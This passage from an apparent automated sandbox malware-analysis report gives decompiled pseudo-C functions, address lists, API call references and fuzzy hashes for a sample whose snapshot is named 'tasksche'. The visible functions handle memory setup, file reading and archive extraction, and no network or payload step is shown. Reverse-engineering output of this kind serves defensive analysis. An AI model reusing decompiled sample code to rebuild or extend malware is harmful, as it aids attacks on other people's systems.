				 *((char*)(_t96 + 0xb064)) = 0;
				 *((intOrPtr*)(_t96 + 0x6540)) = 0;
				 *((intOrPtr*)(_t96 + 0xb040)) = 0;
				 *((intOrPtr*)(_t96 + 0xb044)) = 0;
				 *((intOrPtr*)(_t96 + 0xb048)) = 0;
				 *((intOrPtr*)(_t96 + 0xb04c)) = 0;
				E0041A820(_t94, _t96 + 0x6570, 0, 0x40);
				E0041A820(_t94, _t96 + 0x65b0, 0, 0x34);
				E0041A820(_t94, _t96 + 0x88e8, 0, 0x20);
				 *((short*)(_t96 + 0xb09a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb078)) = 0;
				 *((intOrPtr*)(_t96 + 0xb080)) = 0;
				 *((intOrPtr*)(_t96 + 0xb084)) = 0;
				 *((intOrPtr*)(_t96 + 0xb088)) = 0;
				 *((intOrPtr*)(_t96 + 0xb08c)) = 0;
				 *((intOrPtr*)(_t96 + 0xb090)) = 0;
				 *((intOrPtr*)(_t96 + 0xb094)) = 0;
				 *((char*)(_t96 + 0xb076)) = 0;
				 *((char*)(_t96 + 0xb098)) = 0;
				 *((char*)(_t96 + 0x6548)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t98 - 0xc));
				return _t96;
			}

0x00401822
0x00401822
0x00401822
0x00401827
0x0040182c
0x0040182f
0x00401831
0x00401834
0x00401841
0x00401844
0x0040184a
0x00401855
0x00401859
0x00401864
0x0040186a
0x00401870
0x0040187b
0x00401883
0x00401887
0x0040188a
0x00401890
0x00401896
0x00401898
0x004018bd
0x0040189a
0x0040189a
0x0040189f
0x004018a5
0x004018a7
0x004018aa
0x004018b0
0x004018b9
0x004018b2
0x004018b2
0x004018b2
0x004018b0
0x004018c0
0x004018cc
0x004018d3
0x004018da
0x004018e3
0x004018ee
0x004018f8
0x004018fe
0x00401904
0x0040190a
0x00401910
0x00401916
0x0040191c
0x00401922
0x00401928
0x0040192e
0x00401934
0x0040193a
0x00401940
0x00401946
0x0040194c
0x00401952
0x00401958
0x0040195e
0x00401964
0x0040196a
0x00401979
0x00401988
0x00401995
0x0040199c
0x004019a2
0x004019a8
0x004019ae
0x004019b4
0x004019ba
0x004019c0
0x004019c6
0x004019cc
0x004019d2
0x004019dc
0x004019e4

APIs

__EH_prolog.LIBCMT ref: 00401827

Part of subcall function 00405F3C: __EH_prolog.LIBCMT ref: 00405F41
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FA4
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FB0
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FCE

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

_memset.LIBCMT ref: 0040196A
_memset.LIBCMT ref: 00401979
_memset.LIBCMT ref: 00401988

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog$_malloc
String ID:
API String ID: 4233843809-0
Opcode ID: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction ID: 211b101a5e2dbba32f2c8dae62910ed897794103f7d8a7f2ed724c9505602145
Opcode Fuzzy Hash: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction Fuzzy Hash: 865127B1445F809EC321DF7988916D7FFE0AF29314F84496E91FE93282D7352658CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00413CE8 Relevance: 6.1, APIs: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00413CE8(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t34;
				signed int _t35;
				signed int* _t41;
				signed int _t42;
				signed int _t44;
				intOrPtr _t46;
				void* _t67;
				signed int _t72;
				intOrPtr* _t73;
				void* _t75;
				void* _t77;
				signed int _t81;

				_t34 = E0041A4DC(E0042980D, _t75);
				_push(__ecx);
				_push(__ecx);
				_t67 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x20));
				if( *((intOrPtr*)(__ecx + 0x20)) == 0) {
					_push(0x400400); // executed
					_t46 = E0041A0EA(0, __edx, __ecx, _t80); // executed
					 *((intOrPtr*)(_t67 + 0x20)) = _t46;
					_t34 = E0041A820(_t67, _t46, 0, 0x400400);
					_t77 = _t77 + 0x10;
				}
				_t81 =  *(_t67 + 0x18);
				if(_t81 != 0) {
					L12:
					 *[fs:0x0] =  *((intOrPtr*)(_t75 - 0xc));
					return _t34;
				} else {
					_t72 =  *((intOrPtr*)(_t67 + 0x1c)) +  *((intOrPtr*)(_t67 + 0x1c));
					_t35 = _t72;
					_t65 = _t35 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t81 > 0x00000000) | ( ~(0 | _t81 > 0x00000000) | _t35 * 0x00004ae4) + 0x00000004); // executed
					_t41 = E0041A0EA(0x4ae4, _t35 * 0x4ae4 >> 0x20, _t67, _t81); // executed
					 *(_t75 - 0x10) = _t41;
					 *(_t75 - 4) =  *(_t75 - 4) & 0x00000000;
					_t82 = _t41;
					if(_t41 == 0) {
						_t42 = 0;
						__eflags = 0;
					} else {
						_push(E00412B7D);
						_push(E00412B65);
						_push(_t72);
						 *_t41 = _t72;
						_t44 =  &(_t41[1]);
						_push(0x4ae4);
						_push(_t44);
						 *(_t75 - 0x14) = _t44;
						E0041C6B6(_t72, _t82);
						_t42 =  *(_t75 - 0x14);
					}
					 *(_t75 - 4) =  *(_t75 - 4) | 0xffffffff;
					 *(_t67 + 0x18) = _t42;
					_t34 = E0041A820(_t67, _t42, 0, _t72 * 0x4ae4);
					if(_t72 > 0) {
						 *(_t75 - 0x10) =  *(_t75 - 0x10) & 0x00000000;
						 *(_t75 - 0x14) = _t72;
						do {
							_t34 =  *(_t67 + 0x18) +  *(_t75 - 0x10);
							_t26 = _t34 + 0x4ad4; // 0x4ad4
							_t73 = _t26;
							if( *_t73 == 0) {
								 *((intOrPtr*)(_t34 + 0x4adc)) = 0x4100;
								_t34 = E0041CF3E(0x4ae4, _t65, _t67, 0x30c00); // executed
								 *_t73 = _t34;
								if(_t34 == 0) {
									_t34 = E004063CE(0x4335ac);
								}
							}
							 *(_t75 - 0x10) =  *(_t75 - 0x10) + 0x4ae4;
							_t30 = _t75 - 0x14;
							 *_t30 =  *(_t75 - 0x14) - 1;
						} while ( *_t30 != 0);
					}
					goto L12;
				}
			}

0x00413ced
0x00413cf2
0x00413cf3
0x00413cf7
0x00413cfb
0x00413cfe
0x00413d05
0x00413d06
0x00413d0e
0x00413d11
0x00413d16
0x00413d16
0x00413d19
0x00413d1c
0x00413dde
0x00413de4
0x00413dec
0x00413d22
0x00413d25
0x00413d2e
0x00413d32
0x00413d47
0x00413d48
0x00413d4e
0x00413d51
0x00413d55
0x00413d57
0x00413d78
0x00413d78
0x00413d59
0x00413d59
0x00413d5e
0x00413d63
0x00413d64
0x00413d66
0x00413d69
0x00413d6a
0x00413d6b
0x00413d6e
0x00413d73
0x00413d73
0x00413d7a
0x00413d8a
0x00413d8d
0x00413d97
0x00413d99
0x00413d9d
0x00413da0
0x00413da3
0x00413da6
0x00413da6
0x00413daf
0x00413db6
0x00413dc0
0x00413dc6
0x00413dca
0x00413dd1
0x00413dd1
0x00413dca
0x00413dd6
0x00413dd9
0x00413dd9
0x00413dd9
0x00413da0
0x00000000
0x00413d97

APIs

__EH_prolog.LIBCMT ref: 00413CED
_memset.LIBCMT ref: 00413D11
_memset.LIBCMT ref: 00413D8D
_malloc.LIBCMT ref: 00413DC0

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc
String ID:
API String ID: 1600808285-0
Opcode ID: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction ID: 702ce421a693160a9893d7f58a622c69960126b9ff2eeb296b605b135dd4a1ff
Opcode Fuzzy Hash: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction Fuzzy Hash: F831D4B1E01215ABDB14AF65D9057EB76A8FF14319F10013FE105E7281E7789E9087ED

Uniqueness

Uniqueness Score: -1.00%

Function 00408CA0 Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00408CA0(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t28 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t28 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00408C5A(_t28);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t28 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t28 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E00408CA0(_t28);
						}
					}
				}
				return _t15;
			}

0x00408ca3
0x00408ca6
0x00408cad
0x00408cb7
0x00408cb7
0x00408cc9
0x00408cd1
0x00408d2b
0x00408cd3
0x00408cd5
0x00408cdc
0x00408cf5
0x00408cff
0x00408d0c
0x00408d10
0x00408d26
0x00408d26
0x00408d1c
0x00408d1c
0x00408d21
0x00000000
0x00408d23
0x00408d23
0x00000000
0x00408d23
0x00408d21
0x00408d01
0x00408d01
0x00408d06
0x00000000
0x00408d08
0x00408d08
0x00408d08
0x00408d06
0x00408cde
0x00408cde
0x00408ce6
0x00000000
0x00408ce8
0x00408ce8
0x00408ce9
0x00408ce9
0x00408cee
0x00408cee
0x00408ce6
0x00408cdc
0x00408d32

APIs

GetStdHandle.KERNEL32(000000F6,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CB1
ReadFile.KERNELBASE(?,?,?,00000000,00000000,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CC9
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D01
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D1C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction ID: b149f771e66fe820b49a3db0cdc04a66bbf6f60059da98a6e892905e95da3d99
Opcode Fuzzy Hash: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction Fuzzy Hash: B411A734504608EFEB205B50DA4096A37A8FF71374B10863FE996A52D1DE3DCD41DF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004076AA Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 792
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004076AA(intOrPtr __ecx, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t349;
				signed int _t354;
				signed int _t359;
				signed int _t363;
				char _t364;
				intOrPtr _t367;
				signed int _t370;
				char _t373;
				void* _t375;
				signed int _t379;
				signed int _t380;
				intOrPtr _t383;
				char* _t386;
				signed int _t395;
				char _t398;
				intOrPtr _t399;
				intOrPtr _t407;
				signed int _t409;
				intOrPtr _t413;
				signed int _t423;
				intOrPtr _t426;
				char _t434;
				signed int _t440;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				char _t456;
				intOrPtr _t459;
				intOrPtr _t462;
				signed int _t463;
				signed int _t469;
				signed int _t475;
				intOrPtr _t476;
				signed int _t479;
				signed int _t481;
				intOrPtr _t482;
				signed int _t484;
				signed int _t490;
				intOrPtr* _t500;
				char _t502;
				intOrPtr _t504;
				signed int _t510;
				signed int _t515;
				intOrPtr _t572;
				intOrPtr _t593;
				short* _t595;
				signed int _t602;
				signed int _t603;
				intOrPtr _t607;
				intOrPtr _t611;
				void* _t613;

				_t585 = __edx;
				E0041A4DC(E004296C9, _t613);
				E0041AAF0(0x5194);
				_t500 =  *((intOrPtr*)(_t613 + 8));
				_t607 = __ecx;
				_t345 =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				 *((intOrPtr*)(_t613 - 0x24)) = __ecx;
				 *(_t613 - 0x18) =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				if( *((intOrPtr*)(_t613 + 0xc)) != 0) {
					L5:
					_t593 =  *((intOrPtr*)(_t500 + 0x6544));
					__eflags = _t593 - 2;
					if(_t593 == 2) {
						_t504 =  *((intOrPtr*)(_t607 + 8));
						 *((char*)(_t607 + 0x545d)) = 0;
						__eflags =  *(_t504 + 0x515c);
						if( *(_t504 + 0x515c) != 0) {
							L20:
							 *((char*)(_t613 - 0x10)) = 0;
							_t349 = E0040545B(_t504, _t500 + 0x65e8, _t613 - 0x10, 5, _t613 - 0x51a0, 0x800);
							__eflags = _t349;
							 *(_t613 - 0xe) = _t349 != 0;
							__eflags =  *(_t613 - 0xe);
							if( *(_t613 - 0xe) != 0) {
								__eflags =  *((char*)(_t613 - 0x10));
								if( *((char*)(_t613 - 0x10)) == 0) {
									 *((char*)(_t607 + 0x4459)) = 0;
								}
							}
							E00401A5C(_t500);
							E0040A618(_t607, _t500 + 0x6608, _t613 - 0x2158);
							__eflags =  *((char*)(_t500 + 0x76cb));
							if( *((char*)(_t500 + 0x76cb)) == 0) {
								_t354 = E00401A55(_t500);
								__eflags = _t354;
								if(_t354 != 0) {
									L33:
									 *((char*)(_t607 + 0x21d7)) =  *((intOrPtr*)(_t500 + 0x7671));
									 *((char*)(_t607 + 0x21d8)) = 0;
									_t586 =  *((intOrPtr*)(_t500 + 0xb04c));
									asm("sbb edx, [ebx+0x7634]");
									 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb048)) -  *(_t500 + 0x7630),  *((intOrPtr*)(_t500 + 0xb04c)), 0);
									__eflags =  *(_t613 - 0xe);
									 *((char*)(_t613 + 0xf)) = 0;
									 *((char*)(_t613 - 0x1d)) = 0;
									if( *(_t613 - 0xe) != 0) {
										L35:
										_t359 =  *((intOrPtr*)( *((intOrPtr*)(_t607 + 8)) + 0x51c1));
										__eflags = _t359;
										if(_t359 == 0) {
											L38:
											_t510 = 0;
											__eflags = 0;
											L39:
											__eflags = _t359;
											_t363 = L004116E5(_t510, _t613 - 0x2158, (_t359 & 0xffffff00 | _t359 == 0x00000000) & 0x000000ff, _t510,  *((intOrPtr*)(_t613 - 0x1d))); // executed
											__eflags = _t363;
											if(__eflags == 0) {
												L191:
												_t364 = 0;
												L15:
												L16:
												 *[fs:0x0] =  *((intOrPtr*)(_t613 - 0xc));
												return _t364;
											}
											_t595 = _t607 + 0x545e;
											E00406F23(_t607, __eflags, _t500, _t613 - 0x2158, _t595, 0x800);
											__eflags =  *((char*)(_t613 - 0x1d));
											if( *((char*)(_t613 - 0x1d)) != 0) {
												L43:
												 *((char*)(_t613 + 0xf)) = 0;
												L44:
												_t367 =  *((intOrPtr*)(_t607 + 8));
												__eflags =  *((char*)(_t367 + 0x5153));
												if( *((char*)(_t367 + 0x5153)) != 0) {
													L46:
													__eflags =  *(_t613 - 0x18) - 0x45;
													if( *(_t613 - 0x18) == 0x45) {
														L48:
														E004067E1(_t613 - 0x31a0);
														_push(0);
														_t370 = E004096BC(_t586, _t595, _t613 - 0x31a0);
														__eflags = _t370;
														if(_t370 == 0) {
															__eflags =  *((char*)( *((intOrPtr*)(_t607 + 8)) + 0x5153));
															L53:
															if(__eflags == 0) {
																L55:
																__eflags =  *((char*)(_t500 + 0x7673));
																if( *((char*)(_t500 + 0x7673)) == 0) {
																	L60:
																	_t373 = E00407650(_t500, _t613 - 0x2158);
																	__eflags = _t373;
																	if(_t373 == 0) {
																		 *((char*)(_t613 + 0xf)) = _t373;
																		E004062BA(0x4335ac, 2);
																	}
																	_t515 = 0x40;
																	_t375 = memcpy(_t613 - 0x134,  *((intOrPtr*)( *((intOrPtr*)(_t613 - 0x24)) + 8)) + 0x4024, _t515 << 2);
																	asm("movsw");
																	 *(_t613 - 4) =  *(_t613 - 4) & 0x00000000;
																	asm("sbb edx, edx");
																	_t590 =  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679;
																	 *((intOrPtr*)(_t613 - 0x28)) = _t375 + 0x10;
																	E0040B883(_t375 + 0x10, 0,  *((intOrPtr*)(_t500 + 0x7674)), _t613 - 0x134,  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679, _t500 + 0x7689,  *((intOrPtr*)(_t500 + 0x76c4)), _t500 + 0x76a3, _t613 - 0x30);
																	__eflags =  *((char*)(_t500 + 0x7673));
																	if( *((char*)(_t500 + 0x7673)) != 0) {
																		__eflags =  *((char*)(_t500 + 0x7699));
																		if( *((char*)(_t500 + 0x7699)) != 0) {
																			_t469 = E0041AC04(_t500 + 0x769a, _t613 - 0x30, 8);
																			__eflags = _t469;
																			if(_t469 != 0) {
																				__eflags =  *((char*)(_t500 + 0xb064));
																				if( *((char*)(_t500 + 0xb064)) == 0) {
																					E00406376(6, _t500 + 0x1e);
																					E004062BA(0x4335ac, 0xb);
																					 *((char*)(_t613 + 0xf)) = 0;
																				}
																			}
																		}
																	}
																	_t522 = _t613 - 0x1158;
																	E00408786(_t613 - 0x1158);
																	_t379 =  *(_t500 + 0x76d8);
																	__eflags = _t379;
																	 *((char*)(_t613 - 0x11)) = _t379 != 0;
																	__eflags =  *((char*)(_t613 - 0x11));
																	 *(_t613 - 4) = 1;
																	if( *((char*)(_t613 - 0x11)) == 0) {
																		L77:
																		_t522 = _t500;
																		_t380 = E00401A55(_t500);
																		__eflags = _t380;
																		if(_t380 == 0) {
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) == 0) {
																				goto L90;
																			}
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			_t522 = _t611; // executed
																			_t456 = E0040753D(_t611, _t500, _t613 - 0x1158); // executed
																			 *((char*)(_t613 + 0xf)) = _t456;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L85:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t500, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			goto L14;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		if( *(_t613 - 0x18) == 0x50) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x49;
																		if( *(_t613 - 0x18) == 0x49) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x45;
																		if( *(_t613 - 0x18) == 0x45) {
																			goto L85;
																		}
																		_t572 =  *((intOrPtr*)(_t613 - 0x24));
																		_t459 =  *((intOrPtr*)(_t572 + 8));
																		__eflags =  *((intOrPtr*)(_t459 + 0x5158)) - 1;
																		if( *((intOrPtr*)(_t459 + 0x5158)) == 1) {
																			goto L85;
																		}
																		_t143 = _t572 + 0x444c;
																		 *_t143 =  *(_t572 + 0x444c) + 1;
																		__eflags =  *_t143;
																		_push(_t613 - 0x2158);
																		_push(_t500);
																		E00407391(_t572);
																		_t502 = 1;
																		goto L84;
																	} else {
																		__eflags = _t379 - 5;
																		if(_t379 == 5) {
																			goto L77;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L90:
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			L91:
																			__eflags =  *((char*)(_t500 + 0xb054));
																			if( *((char*)(_t500 + 0xb054)) == 0) {
																				__eflags =  *((char*)(_t613 + 0xf));
																				if( *((char*)(_t613 + 0xf)) == 0) {
																					L184:
																					 *(_t613 - 4) = 0;
																					E00408C7D(_t500, _t613 - 0x1158);
																					 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																					E0040D111(_t613 - 0x134);
																					__eflags =  *(_t613 - 0xe);
																					if( *(_t613 - 0xe) != 0) {
																						_t333 = _t611 + 0x4454;
																						 *_t333 =  *(_t611 + 0x4454) + 1;
																						__eflags =  *_t333;
																					}
																					L186:
																					_t383 =  *((intOrPtr*)(_t613 - 0x24));
																					__eflags =  *((char*)(_t383 + 0x21d8));
																					if( *((char*)(_t383 + 0x21d8)) != 0) {
																						goto L191;
																					}
																					__eflags =  *((char*)(_t613 + 0xf));
																					if( *((char*)(_t613 + 0xf)) != 0) {
																						L14:
																						_t364 = 1;
																						goto L15;
																					}
																					__eflags =  *((char*)(_t500 + 0xb054));
																					if( *((char*)(_t500 + 0xb054)) != 0) {
																						__eflags =  *((char*)(_t613 - 0x1d));
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							goto L14;
																						}
																						goto L191;
																					}
																					L189:
																					E004010C0(_t500);
																					goto L14;
																				}
																				L95:
																				_t386 =  *((intOrPtr*)(_t611 + 8)) + 0x51c1;
																				__eflags =  *_t386;
																				if( *_t386 == 0) {
																					L97:
																					__eflags =  *((char*)(_t613 - 0x1d));
																					if( *((char*)(_t613 - 0x1d)) != 0) {
																						L125:
																						__eflags =  *((char*)(_t613 - 0x1d));
																						 *((char*)(_t613 - 0xf)) = 1;
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							L102:
																							 *((intOrPtr*)(_t611 + 0x4450)) =  *((intOrPtr*)(_t611 + 0x4450)) + 1;
																							 *((intOrPtr*)(_t611 + 0x21f8)) = 0;
																							 *((intOrPtr*)(_t611 + 0x21fc)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2200)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2204)) = 0;
																							E00409885(_t611 + 0x38e0,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							E00409885(_t611 + 0x2218,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							 *(_t611 + 0x30) =  *(_t500 + 0x7630);
																							 *(_t611 + 0x34) =  *(_t500 + 0x7634);
																							E0040B863( *((intOrPtr*)(_t613 - 0x28)), _t500, _t613 - 0x1158);
																							_t395 =  *((intOrPtr*)(_t613 - 0xf));
																							 *(_t611 + 0x39) = _t395;
																							 *((char*)(_t611 + 0x3a)) =  *((intOrPtr*)(_t613 - 0x1d));
																							__eflags = _t395;
																							if(_t395 != 0) {
																								L114:
																								_t531 =  *((intOrPtr*)(_t611 + 8));
																								 *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) =  *((char*)(_t613 - 0xf));
																								 *((char*)(_t613 - 0x1145)) = _t395 & 0xffffff00 |  *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) == 0x00000000;
																								if( *((char*)(_t613 - 0xf)) != 0) {
																									L117:
																									 *((char*)(_t613 - 0xd)) = 0;
																									L118:
																									__eflags =  *((char*)(_t613 - 0x11));
																									 *((char*)(_t613 - 0x19)) = 1;
																									 *((char*)(_t613 + 0xb)) = 1;
																									if( *((char*)(_t613 - 0x11)) == 0) {
																										__eflags =  *((char*)(_t500 + 0x7670));
																										if( *((char*)(_t500 + 0x7670)) == 0) {
																											__eflags =  *((char*)(_t500 + 0x6602));
																											if(__eflags != 0) {
																												_push( *(_t500 + 0x76c8) & 0x000000ff);
																												_push( *((intOrPtr*)(_t500 + 0x76cc)));
																												E004126F0( *((intOrPtr*)(_t611 + 0x4448))); // executed
																												_t426 =  *((intOrPtr*)(_t611 + 0x4448));
																												_t590 =  *(_t500 + 0x763c);
																												 *(_t426 + 0x4c40) =  *(_t500 + 0x7638);
																												 *(_t426 + 0x4c44) =  *(_t500 + 0x763c);
																												 *((char*)(_t426 + 0x4c58)) = 0;
																												E00418AFF( *((intOrPtr*)(_t611 + 0x4448)),  *(_t500 + 0x6601) & 0x000000ff,  *(_t500 + 0x76c8) & 0x000000ff); // executed
																											} else {
																												_push( *(_t500 + 0x763c));
																												_push( *(_t500 + 0x7638));
																												_push( *((intOrPtr*)(_t613 - 0x28)));
																												E004071DF(_t590, __eflags);
																											}
																										}
																										L147:
																										E004010C0(_t500);
																										__eflags =  *((char*)(_t500 + 0x7671));
																										if(__eflags != 0) {
																											L150:
																											_t398 = 0;
																											__eflags = 0;
																											L151:
																											__eflags =  *(_t500 + 0x76c8);
																											if( *(_t500 + 0x76c8) != 0) {
																												__eflags =  *((char*)(_t500 + 0x6602));
																												if( *((char*)(_t500 + 0x6602)) == 0) {
																													L159:
																													__eflags =  *((char*)(_t613 - 0x1d));
																													 *((char*)(_t613 - 0xd)) = 0;
																													if( *((char*)(_t613 - 0x1d)) != 0) {
																														L169:
																														__eflags =  *((char*)(_t613 - 0xf));
																														if( *((char*)(_t613 - 0xf)) != 0) {
																															goto L184;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x58;
																														if( *(_t613 - 0x18) == 0x58) {
																															L172:
																															__eflags =  *((char*)(_t613 - 0x11));
																															if( *((char*)(_t613 - 0x11)) == 0) {
																																L175:
																																__eflags =  *((char*)(_t613 - 0xd));
																																if( *((char*)(_t613 - 0xd)) == 0) {
																																	L178:
																																	_t399 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t399 + 0x5150));
																																	if( *((char*)(_t399 + 0x5150)) != 0) {
																																		_t304 = _t500 + 0x6604;
																																		 *_t304 =  *(_t500 + 0x6604) & 0xffffffdf;
																																		__eflags =  *_t304;
																																	}
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408D35(_t613 - 0x1158,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6290)) & _t500 + 0x00007620,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	E00408A32(_t613 - 0x1158);
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408C57(_t500 + 0x7618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	_t407 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t407 + 0x519b));
																																	if( *((char*)(_t407 + 0x519b)) == 0) {
																																		_t409 = E0040908D(_t613 - 0x113a,  *(_t500 + 0x6604));
																																		__eflags = _t409;
																																		if(_t409 == 0) {
																																			E0040639F(0x10, _t500 + 0x1e, _t613 - 0x113a);
																																		}
																																	}
																																	 *((char*)(_t611 + 0x545d)) = 1;
																																	goto L184;
																																}
